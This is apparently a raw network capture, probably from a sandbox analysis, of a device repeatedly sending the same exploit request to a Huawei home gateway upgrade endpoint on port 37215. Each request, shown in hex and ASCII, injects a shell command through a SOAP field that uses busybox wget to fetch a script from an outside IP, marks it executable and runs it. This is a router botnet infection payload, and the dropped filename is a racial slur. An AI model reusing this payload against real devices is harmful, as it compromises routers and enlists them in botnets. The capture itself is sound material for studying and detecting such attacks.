Feb 19, 2024 18:37:17.889662981 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:20.545628071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:25.921621084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.673137903 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.432528019 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.15	37120	31.200.2.67	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:15.416109085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:16.545730114 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.889662981 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:20.545628071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
